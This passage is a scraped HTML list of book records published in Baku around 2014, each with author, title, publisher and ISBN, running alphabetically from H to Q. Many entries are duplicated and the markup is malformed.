margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hami,H. Sparkling ashes over the rainbow . Bakı : Qanun , 2014 . ISBN : 9789952268997</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Harvi, S. Qadın kimi davran, kişi kimi düşün. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267693</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Harvi, S. Qadın kimi davran, kişi kimi düşün. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267693</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Heminquey, E. Əcəl zəngi. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267341</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Heminquey, E. Əcəl zəngi. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267341</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Heminquey, E. Ya var,ya yox. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267426</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Heminquey, E. Ya var,ya yox. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267426</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Henri , O . Hekayələr&nbsp; .&nbsp; Bakı :&nbsp; Azərnəşr , 2013 . ISBN&nbsp; :&nbsp; 9789952820232</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Henri, O. Seçilmiş hekayələr. Bakı: Altun kitab nəşriyyatı, 2014. ISBN: 978 9952241778</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Henri, O. Seçilmiş hekayələr. Bakı: Altun kitab nəşriyyatı, 2014. ISBN: 978 9952241778</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hesse.H.&nbsp; Muncuq oyunu . Bakı : Qanun , 2014 .&nbsp; ISBN : 9789952268928</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Həmidova, Ş. XVIII əsrin ikinci yarısında Azərbaycan-Gürcüstan münasibətləri tarixindən. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952495133</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Həmidova, Ş. XVIII əsrin ikinci yarısında Azərbaycan-Gürcüstan münasibətləri tarixindən. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952495133</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Həsənli, A. Müasir şəraitdə Azərbaycanda dini-mədəni dəyərlərin inkişaf xüsusiyyətləri. Bakı: Nur Art nəşriyyat, 2014. ISBN: 9789952824070</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Həsənli, A. Müasir şəraitdə Azərbaycanda dini-mədəni dəyərlərin inkişaf xüsusiyyətləri. Bakı: Nur Art nəşriyyat, 2014. ISBN: 9789952824070</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Həsənzadə, N. Ömür yarı sual,yarı imtahan... Bakı: OL MMC, 2014. ISBN: 9789952494099</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Həsənzadə, N. Ömür yarı sual,yarı imtahan... Bakı: OL MMC, 2014. ISBN: 9789952494099</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hill, N. Düşün və varlan. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266627</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hill, N. Düşün və varlan. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266627</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hollovey, D .&nbsp; Beriya&nbsp; . Bakı : Qanun , 2014 . ISBN&nbsp; :&nbsp; 9789952268607</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hüseynbəyli, E. Aişə: Moskvada məhəbbət romanı. Bakı: Qələm, 2014. ISBN: 9789952468328</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hüseynbəyli, E. Aişə: Moskvada məhəbbət romanı. Bakı: Qələm, 2014. ISBN: 9789952468328</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hüseynbəyli, E. Azıx. Bakı: Qələm, 2014. ISBN: 9789952468571</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hüseynbəyli, E. Azıx. Bakı: Qələm, 2014. ISBN: 9789952468571</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hüseynbəyli, E. Balıq adam. Bakı: Qələm, 2014. ISBN: 9789952468502</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hüseynbəyli, E. Balıq adam. Bakı: Qələm, 2014. ISBN: 9789952468502</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hüseynbəyli, E. Yovşan qağayılar. Bakı: Qələm, 2014. ISBN: 9789952468526</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hüseynbəyli, E. Yovşan qağayılar. Bakı: Qələm, 2014. ISBN: 9789952468526</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hüseynov, Ə. H. Yol hərəkəti haqqında Azərbaycan Respublikası qanununun kommentariyası. Bakı: DİGESTA nəşriyyatı, 2014. ISBN: 9789952822656</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hüseynov, Ə. H. Yol hərəkəti haqqında Azərbaycan Respublikası qanununun kommentariyası. Bakı: DİGESTA nəşriyyatı, 2014. ISBN: 9789952822656</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">II International Scientific conference of young researchers. Baku: Qafqaz University, 2014. ISBN: 9789952468304</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">II International Scientific conference of young researchers. Baku: Qafqaz University, 2014. ISBN: 9789952468304</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İlyas Əfəndiyev: Biblioqrafiya. Bakı: Azərbaycan Milli Kitabxanası, 2014. ISBN: 9789952 460438</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İlyas Əfəndiyev: Biblioqrafiya. Bakı: Azərbaycan Milli Kitabxanası, 2014. ISBN: 9789952 460438</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İmran, G. Məni kim öldürdü ?! Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266887</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İmran, G. Məni kim öldürdü ?! Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266887</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İnam ata: on kutsal bitiq. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268263</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İnam ata: on kutsal bitiq. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268263</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">ISBN agentliyi 2014</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İsgtəndərzadə ,&nbsp; M .&nbsp; Politologiyanın əsasları&nbsp; . Bakı : Kitab klubu&nbsp; , 2012 . ISBN&nbsp; :&nbsp; 9789952404319</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İsmayıl&nbsp; İBn&nbsp; İbrahim əl-Buxari&nbsp; . Tam Səhih- Buxari&nbsp; .&nbsp; Bakı : İpəkyolu&nbsp; , 2014 . ISBN&nbsp; :&nbsp; 9789952822175</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İsmayıl, M. Sevgi şeirləri. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266849</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İsmayıl, M. Sevgi şeirləri. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266849</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İstiqlal 1918-28 mayıs-1919&nbsp; .&nbsp; Bakı : Qanun , 2014 . ISBN&nbsp; :&nbsp; 9789952268430</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İstiqlal: 1918-28 Mayıs – 1919. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268430</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İstiqlal: 1918-28 Mayıs – 1919. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268430</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İşığa doğru . Bakı : Qanun ,&nbsp; 2014 . ISBN : 978-9952-26-924-6</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İşığa doğru məqalələr toplusu&nbsp; . Bakı :&nbsp; Qanun , 2014 . ISBN&nbsp; :&nbsp;&nbsp;&nbsp; 9789952269246</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kafka, F. Vəsiyyət. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267266</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kafka, F. Vəsiyyət. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267266</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kazımlı, X. Mexico - ochenta y eis. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267914</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kazımlı, X. Mexico - ochenta y eis. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267914</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kərimov , E . Azərbaycan Korporativ (Şirkətlər ) hüququ&nbsp; .&nbsp; Bakı : Qanun , 2014 . ISBN&nbsp; :&nbsp; 9789952268393</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kılınç, M. Qadınlar nə istəyir? Kişilər nə verir? Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267679</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kılınç, M. Qadınlar nə istəyir? Kişilər nə verir? Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267679</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kinq , S . 11/22/63 roman . Bakı :&nbsp; Qanun&nbsp; , 2014 . ISBN&nbsp; :&nbsp; 9789952268935</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kinq, S. Yaşıl mil. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267051</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kinq, S. Yaşıl mil. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267051</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kitabı necə satmalı&nbsp; .&nbsp; Bakı :&nbsp; Kitab klubu , 2003 . ISBN&nbsp; :&nbsp;&nbsp; 9789952808704</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kiyosaki ,R. T. Varlı uşaq, ağıllı uşaq . Bakı : Qanun, 2014 . ISBN : 9789952268959</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kiyosaki, R . T .&nbsp; Pul axını kvadrantı&nbsp; . Bakı : Qanun&nbsp; , 2014. ISBN&nbsp; : 9789952268836</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Köçəri, İ. Müharibə yeniyetməsi. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266863</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Köçəri, İ. Müharibə yeniyetməsi. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266863</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kristi , A .&nbsp; On Zənci balası .&nbsp; Bakı : Qanun , 2014 .&nbsp; ISBN&nbsp; :&nbsp; 9789952268423</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kristi , A . Ölümlə görüş .&nbsp; Bakı : Qanun , 2014 .&nbsp; ISBN&nbsp; :&nbsp; 9789952268478</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kristi, A. “Şərq ekspresi”ndə qətl. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267457</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kristi, A. “Şərq ekspresi”ndə qətl. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267457</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kristi, A. Buludların üzərində ölüm. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268126</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kristi, A. Buludların üzərində ölüm. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268126</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kristi, A. Əlifba sırası ilə qətl. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268072</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kristi, A. Əlifba sırası ilə qətl. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268072</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kristi, A. Mavi qatarın sirri. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266597</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kristi, A. Mavi qatarın sirri. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266597</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kristi, A. Puaro istintaq aparır. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266603</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kristi, A. Puaro istintaq aparır. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266603</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kristi, A. Rocer Ekroydun qətli. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266610</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kristi, A. Rocer Ekroydun qətli. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266610</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kristi, A. Rocer Endhauzun sirri. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266665</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kristi, A. Rocer Endhauzun sirri. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266665</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kulagin,V.M.&nbsp; Müasir Beynəlxalq təhlükəsizlik . Bakı : Tuna Co , 2015 . ISBN : 9789952502015</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kundera, M. Varlığın dözülməz yüngüllüyü. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267181</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kundera, M. Varlığın dözülməz yüngüllüyü. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267181</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kuper, C. F. Sonuncu Mogikan. Bakı: Altun Kitab nəşriyyatı, 2014. ISBN: 9789952242003</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kuper, C. F. Sonuncu Mogikan. Bakı: Altun Kitab nəşriyyatı, 2014. ISBN: 9789952242003</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kuper, C. F. Sonuncu Mogikan. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952265286</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kuper, C. F. Sonuncu Mogikan. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952265286</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qaradərəli, A. Şəhərcik. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267419</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qaradərəli, A. Şəhərcik. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267419</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qaraqan. Bir milyon dollarım olsaydı. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267174</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qaraqan. Bir milyon dollarım olsaydı. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267174</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qasımov , Ş . Azərbaycan tarixi dərslik&nbsp; . Bakı : Qanun , 2014 . ISBN&nbsp; :&nbsp;&nbsp; 9789952268584</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qasımov, S. Gecikmiş etiraf. ADMİU nəşriyyatı, 2014. ISBN: 9789952825626</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qasımov, S. Gecikmiş etiraf. ADMİU nəşriyyatı, 2014. ISBN: 9789952825626</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qasımova, T. Qlobal problemlər sosial idarəetmə çərçivəsində. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952495287</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qasımova, T. Qlobal problemlər sosial idarəetmə çərçivəsində. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952495287</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">&nbsp;Qaşqay,O.&nbsp; Pulla alınmış günahlar . Bakı : Qanun , 2014 . ISBN :&nbsp; 9789952269116</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qayıblı, X. Yenə canım söz gəzir. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267402</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qayıblı, X. Yenə canım söz gəzir. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267402</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qeys , R.&nbsp; Pul məktəbi&nbsp; . Bakı : Kitab klubu , 2013 . ISBN&nbsp; :&nbsp; 9789952820256</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qədim , S . Əcəl düyünü&nbsp; .&nbsp; Bakı : Qanun , 2014 .&nbsp; ISBN&nbsp; :&nbsp; 9789952268409</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qədirzadə, S. 46 bənövşə. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266740</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qədirzadə, S. 46 bənövşə. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266740</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qladuell , M . David vo Qoliaf .&nbsp; Bakı : Qanun , 2014 . ISBN&nbsp; :&nbsp; 9789952268768</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qloballaşma prosesində Qafqaz və Mərkəzi Asiya. Bakı: 